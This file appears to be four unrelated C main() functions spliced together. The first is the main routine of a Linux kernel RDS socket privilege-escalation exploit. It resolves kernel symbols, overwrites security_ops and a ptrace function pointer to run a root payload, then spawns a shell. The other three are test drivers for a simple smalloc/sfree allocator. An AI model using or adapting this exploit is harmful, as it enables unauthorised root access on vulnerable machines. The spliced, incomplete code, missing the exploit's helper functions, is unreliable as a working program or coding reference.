int main(int argc, char * argv[]) { unsigned long sec_ops, def_ops, cap_ptrace, target; int sendsock, recvsock; struct utsname ver; printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); printf("[*] by Dan Rosenberg\n"); uname(&ver); if(strncmp(ver.release, "2.6.3", 5)) { printf("[*] Your kernel is not vulnerable.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); sec_ops = get_kernel_sym("security_ops"); def_ops = get_kernel_sym("default_security_ops"); cap_ptrace = get_kernel_sym("cap_ptrace_traceme"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } /* Calculate target */ target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1)); sendsock = prep_sock(SENDPORT); recvsock = prep_sock(RECVPORT); /* Reset security ops */ printf("[*] Overwriting security ops...\n"); write_to_mem(sec_ops, def_ops, sendsock, recvsock); /* Overwrite ptrace_traceme security op fptr */ printf("[*] Overwriting function pointer...\n"); write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); /* Trigger the payload */ printf("[*] Triggering payload...\n"); ptrace(PTRACE_TRACEME, 1, NULL, NULL); /* Restore the ptrace_traceme security op */ printf("[*] Restoring function pointer...\n"); write_to_mem(target, cap_ptrace, sendsock, recvsock); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL); }
/* Interesting test case. Divides SIZE into 4 blocks and allocates smalloc each SIZE / 4 block of memory Tests - ability for smalloc to handle adding to an empty allocated_list - ability for smalloc to handle adding to an allocated_list with existing blocks - ability for smalloc to handle when smalloc is called for num_bytes > available size in freelist - ability for freelist to handle when freelist has no memory blocks available - ability for freelist to handle when the size in freelist is equal to the number of bytes called by smalloc (when the last memory block at ptrs[3] is called), and freelist should free this memory block from the list rather than break it into chunks */ int main(void) { mem_init(SIZE); char *ptrs[10]; int i; //Call smalloc 4 times ptrs[0] = smalloc(SIZE * 2); for(i = 0; i <4; i++) { int num_bytes = SIZE / 4; ptrs[i] = smalloc(num_bytes); write_to_mem(num_bytes, ptrs[i], i); } printf("List of allocated blocks:\n"); print_allocated(); printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); printf("freeing %p result = %d\n", ptrs[0], sfree(ptrs[0])); printf("freeing %p result = %d\n", ptrs[1], sfree(ptrs[1])); printf("freeing %p result = %d\n", ptrs[2], sfree(ptrs[2])); printf("freeing %p result = %d\n", ptrs[3], sfree(ptrs[3])); // sfree already called for address at ptrs[1]. Case should be handled printf("freeing %p result = %d\n", ptrs[1], sfree(ptrs[1])); printf("List of allocated blocks:\n"); print_allocated(); printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); mem_clean(); return 0; }
/* Simple test for malloc and free. We will want a proper test driver */ int main(int argc, char **argv) { int opt; int pr = 0; struct sigaction newact; /* fill in newact */ newact.sa_handler = handle_seg; newact.sa_flags = 0; sigaction(SIGSEGV, &newact, NULL); while ((opt = getopt(argc, argv, "p")) != -1) { switch (opt) { case 'p': pr = 1; break; default: /* '?' */ fprintf(stderr, "Usage: %s [-p ] tracefile\n", argv[0]); exit(EXIT_FAILURE); } } if(optind >= argc) { fprintf(stderr, "Usage: %s [-p ] tracefile\n", argv[0]); exit(EXIT_FAILURE); } char *tracefile = argv[optind]; mem_init(SIZE); char *ptrs[MAXOPS]; int i; /* Call my malloc 4 times */ //ptrs[i] = smalloc(num_bytes); //write_to_mem(num_bytes, ptrs[i], i); FILE *fp = fopen(tracefile, "r"); if(!fp) { fprintf(stderr, "Usage: driver [-p] <tracefile>\n"); exit(1); } load_trace(fp); fclose(fp); for(i = 0; i < num_ops; i++) { switch(trace[i].type) { case 'm': ptrs[trace[i].index] = smalloc(trace[i].size); if(pr) { printf("smalloc block %d addr %p size %d\n", trace[i].index, ptrs[trace[i].index], trace[i].size); } if(!ptrs[trace[i].index]) { fprintf(stderr, "Error: smalloc returned NULL index=%d, size=%d\n", trace[i].index, trace[i].size); } // check for valid pointer if((ptrs[trace[i].index] < (char *)mem) || (ptrs[trace[i].index] + trace[i].size) > ((char *)mem + SIZE)) { fprintf(stderr, "Error: malloc block %d addr %p size %d heap overflow\n", trace[i].index, ptrs[trace[i].index], trace[i].size); } else { write_to_mem(trace[i].size, ptrs[trace[i].index],trace[i].index); } break; case 'f': if(pr) { printf("sfree block %d addr %p\n", trace[i].index, ptrs[trace[i].index]); } if(sfree(ptrs[trace[i].index])) { fprintf(stderr, "Error: free block %d addr %p\n", trace[i].index, ptrs[trace[i].index]); } break; default : fprintf(stderr, "ERROR: bad type of instruction %c for block %d\n", trace[i].type, trace[i].index); } } if(pr) { printf("Total free mem: %d\n", total_space(freelist)); printf("Total allocated mem: %d\n", total_space(allocated_list)); printf("List of allocated blocks:\n"); print_allocated(); printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); } else { printf("Total free mem: %d\n", total_space(freelist)); printf("Total allocated mem: %d\n", total_space(allocated_list)); printf("Number of allocated blocks: %d\n", num_blocks(allocated_list)); } mem_clean(); return 0; }
/* Test for smalloc and sfree. * Test covers the following scenarios for memory allocation: * - allocation where required size of memory exactly fits free block * - allocation where the first available free block is larger than the required size * resulting in a split. * - multiple allocation that results in consumption of all available memory and * further allocation results in error. * - freeing blocks of memory that are not beside eachother. * - freeing blocks that have a shared edge which results in merge of multiple blocks. * - Reuse of freed merged blocks. * - Releasing all allocated memory. */ int main(void) { mem_init(SIZE); char *ptrs[12]; int i; /* Call smalloc 6 times. */ /* Reference in the comments to individual blocks starts at 1 */ int num_bytes = 10; for(i = 0; i < 6; i++) { ptrs[i] = smalloc(num_bytes); write_to_mem(num_bytes, ptrs[i], i); } /* Should diplay 6 blocks of reserved memory, 10 bytes each in allocated_list*/ printf("List of allocated blocks:\n"); print_allocated(); printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); /* Frees the 2nd and 3rd blocks allocated.*/ printf("freeing %p result = %d\n", ptrs[1], sfree(ptrs[1])); printf("freeing %p result = %d\n", ptrs[2], sfree(ptrs[2])); /* 2nd and 3rd blocks should be removed from allocated_list */ printf("List of allocated blocks:\n"); print_allocated(); /* freelist now should have ONE NEW free block: the result of freeing the 2nd and 3rd block and merging them to produce a free block of size '20 bytes' */ printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); /* Frees the 5th block */ printf("freeing %p result = %d\n", ptrs[4], sfree(ptrs[4])); printf("List of allocated blocks:\n"); print_allocated(); /* ONE new free block (5th - 10 bytes) located in sequence AFTER 2nd-3rd blocks (20 bytes), and BEFORE unused block left over (size = 80 - 60 = 20 bytes)*/ printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); /* Frees the 4th block */ printf("freeing %p result = %d\n", ptrs[3], sfree(ptrs[3])); printf("List of allocated blocks:\n"); print_allocated(); /* 4th block should merge with 2nd-3rd and 5th to produce ONE 40 byte block. */ printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); /* Allocate 7th block with size 35 bytes*/ ptrs[6] = smalloc(35); printf("allocating %p size = %d\n", ptrs[6], 35); write_to_mem(35, ptrs[6], 6); /* For 7th block, 40 byte block of memory freed previously should be reused. Since 40 available bytes > 35 required bytes, 40 block will be SPLIT. The result will be 35 byte block in allocated_list, and 5 byte remainder in freelist.*/ printf("List of allocated blocks:\n"); print_allocated(); printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); /* Allocate 8th block with size 20 bytes*/ ptrs[7] = smalloc(20); printf("allocating %p size = %d\n", ptrs[7], 20); write_to_mem(20, ptrs[7], 7); printf("List of allocated blocks:\n"); print_allocated(); /* freelist should contain only 5 byte block. */ printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); /* Allocate 9th block with size 5 bytes*/ ptrs[8] = smalloc(5); printf("allocating %p size = %d\n", ptrs[8], 5); write_to_mem(5, ptrs[8], 8); printf("List of allocated blocks:\n"); print_allocated(); /* freelist should be empty. */ printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); /* Memory now full*/ /* Allocate 10th block with size 30 bytes*/ ptrs[9] = smalloc(30); printf("allocating for ptrs[9] size = %d. Expected: NULL. Result: %p\n", 30, ptrs[9]); /* Allocate 11th block with size 1 byte*/ ptrs[10] = smalloc(1); printf("allocating for ptrs[10] size = %d. Expected: NULL. Result: %p\n", 1, ptrs[10]); /* Unchanged */ printf("List of allocated blocks:\n"); print_allocated(); printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); /* Free all. Expected: no crash */ for (i = 0; i < 11; i++){ printf("freeing ptrs[%d] %p, result = %d\n", i, ptrs[i], sfree(ptrs[i])); } /* Restart: 1 free block of 80 total SIZE bytes*/ printf("List of allocated blocks:\n"); print_allocated(); printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); /* Clean all */ printf("Cleaning memory\n"); mem_clean(); /* Each print-out should be blank.*/ printf("List of allocated blocks:\n"); print_allocated(); printf("List of free blocks:\n"); print_free(); printf("Contents of allocated memory:\n"); print_mem(); return 0; }